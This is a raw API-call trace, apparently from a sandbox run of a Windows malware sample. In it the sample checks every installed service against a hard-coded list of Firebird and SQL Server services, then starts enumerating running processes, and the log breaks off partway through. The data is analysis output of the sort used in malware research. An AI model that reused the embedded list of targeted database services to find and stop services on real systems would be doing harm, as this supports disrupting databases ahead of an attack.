	[0167.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0167.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0167.751] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0167.751] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0167.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0167.751] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0167.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0167.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0167.751] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0167.751] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0167.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0167.751] lstrlenW (lpString="CryptSvc") returned 8
	[0167.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0167.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0167.751] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0167.751] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0167.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0167.752] lstrlenW (lpString="DcomLaunch") returned 10
	[0167.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0167.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0167.752] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0167.752] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0167.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0167.752] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0167.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0167.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0167.752] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0167.752] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0167.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0167.752] lstrlenW (lpString="Dhcp") returned 4
	[0167.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0167.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0167.752] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0167.752] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0167.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0167.752] lstrlenW (lpString="Dnscache") returned 8
	[0167.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0167.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0167.752] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0167.752] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0167.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0167.752] lstrlenW (lpString="DPS") returned 3
	[0167.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0167.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0167.752] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0167.752] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0167.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0167.752] lstrlenW (lpString="DusmSvc") returned 7
	[0167.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0167.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0167.752] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0167.752] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0167.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0167.753] lstrlenW (lpString="EventLog") returned 8
	[0167.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0167.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0167.753] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0167.753] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0167.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0167.753] lstrlenW (lpString="EventSystem") returned 11
	[0167.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0167.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0167.753] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0167.753] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0167.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0167.753] lstrlenW (lpString="FontCache") returned 9
	[0167.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0167.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0167.753] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0167.753] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0167.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0167.753] lstrlenW (lpString="gpsvc") returned 5
	[0167.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0167.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0167.753] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0167.753] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0167.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0167.753] lstrlenW (lpString="iphlpsvc") returned 8
	[0167.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0167.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0167.753] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0167.753] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0167.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0167.753] lstrlenW (lpString="KeyIso") returned 6
	[0167.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0167.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0167.754] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0167.754] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0167.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0167.754] lstrlenW (lpString="LanmanServer") returned 12
	[0167.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0167.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0167.754] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0167.754] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0167.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0167.754] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0167.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0167.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0167.754] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0167.754] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0167.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0167.754] lstrlenW (lpString="lfsvc") returned 5
	[0167.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0167.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0167.754] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0167.754] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0167.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0167.754] lstrlenW (lpString="lmhosts") returned 7
	[0167.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0167.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0167.755] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0167.755] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0167.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0167.755] lstrlenW (lpString="LSM") returned 3
	[0167.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0167.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0167.755] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0167.755] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0167.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0167.755] lstrlenW (lpString="MpsSvc") returned 6
	[0167.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0167.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0167.755] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0167.755] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0167.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0167.755] lstrlenW (lpString="NcbService") returned 10
	[0167.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0167.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0167.755] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0167.755] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0167.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0167.755] lstrlenW (lpString="netprofm") returned 8
	[0167.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0167.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0167.755] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0167.755] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0167.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0167.755] lstrlenW (lpString="NgcSvc") returned 6
	[0167.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0167.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0167.755] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0167.755] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0167.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0167.755] lstrlenW (lpString="NlaSvc") returned 6
	[0167.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0167.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0167.756] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0167.756] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0167.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0167.756] lstrlenW (lpString="nsi") returned 3
	[0167.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0167.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0167.756] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0167.756] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0167.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0167.756] lstrlenW (lpString="PcaSvc") returned 6
	[0167.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0167.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0167.756] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0167.756] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0167.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0167.756] lstrlenW (lpString="PlugPlay") returned 8
	[0167.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0167.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0167.756] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0167.756] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0167.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0167.756] lstrlenW (lpString="Power") returned 5
	[0167.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0167.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0167.756] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0167.756] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0167.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0167.756] lstrlenW (lpString="ProfSvc") returned 7
	[0167.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0167.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0167.756] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0167.756] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0167.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0167.756] lstrlenW (lpString="RpcEptMapper") returned 12
	[0167.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0167.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0167.757] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0167.757] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0167.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0167.757] lstrlenW (lpString="RpcSs") returned 5
	[0167.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0167.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0167.757] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0167.757] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0167.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0167.757] lstrlenW (lpString="SamSs") returned 5
	[0167.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0167.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0167.757] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0167.757] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0167.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0167.757] lstrlenW (lpString="Schedule") returned 8
	[0167.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0167.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0167.757] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0167.757] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0167.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0167.757] lstrlenW (lpString="SecurityHealthService") returned 21
	[0167.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0167.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0167.757] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0167.757] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0167.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0167.757] lstrlenW (lpString="SENS") returned 4
	[0167.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0167.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0167.757] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0167.757] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0167.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0167.757] lstrlenW (lpString="ShellHWDetection") returned 16
	[0167.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0167.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0167.758] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0167.758] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0167.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0167.758] lstrlenW (lpString="Spooler") returned 7
	[0167.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0167.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0167.758] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0167.758] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0167.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0167.758] lstrlenW (lpString="StateRepository") returned 15
	[0167.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0167.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0167.758] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0167.758] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0167.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0167.758] lstrlenW (lpString="SysMain") returned 7
	[0167.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0167.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0167.758] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0167.758] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0167.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0167.758] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0167.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0167.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0167.758] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0167.758] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0167.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0167.758] lstrlenW (lpString="Themes") returned 6
	[0167.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0167.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0167.758] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0167.758] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0167.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0167.758] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0167.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0167.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0167.758] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0167.759] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0167.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1
	[0167.759] lstrlenW (lpString="TimeBrokerSvc") returned 13
	[0167.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0167.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0167.759] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1
	[0167.759] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1
	[0167.759] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40ab8d8 | out: hHeap=0x710000) returned 1
	[0167.759] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x440
	[0167.767] Process32FirstW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0167.767] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0167.767] lstrlenW (lpString="System") returned 6
	[0167.768] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0167.768] lstrlenW (lpString="smss.exe") returned 8
	[0167.768] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0167.769] lstrlenW (lpString="csrss.exe") returned 9
	[0167.769] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0167.941] lstrlenW (lpString="wininit.exe") returned 11
	[0167.941] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0167.942] lstrlenW (lpString="csrss.exe") returned 9
	[0167.942] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0167.942] lstrlenW (lpString="winlogon.exe") returned 12
	[0167.943] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0167.943] lstrlenW (lpString="services.exe") returned 12
	[0167.943] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0167.944] lstrlenW (lpString="lsass.exe") returned 9
	[0167.944] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0167.944] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0167.944] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0167.945] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0167.945] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.945] lstrlenW (lpString="svchost.exe") returned 11
	[0167.945] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0167.946] lstrlenW (lpString="svchost.exe") returned 11
	[0167.946] Process32NextW (in: hSnapshot=0x440, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
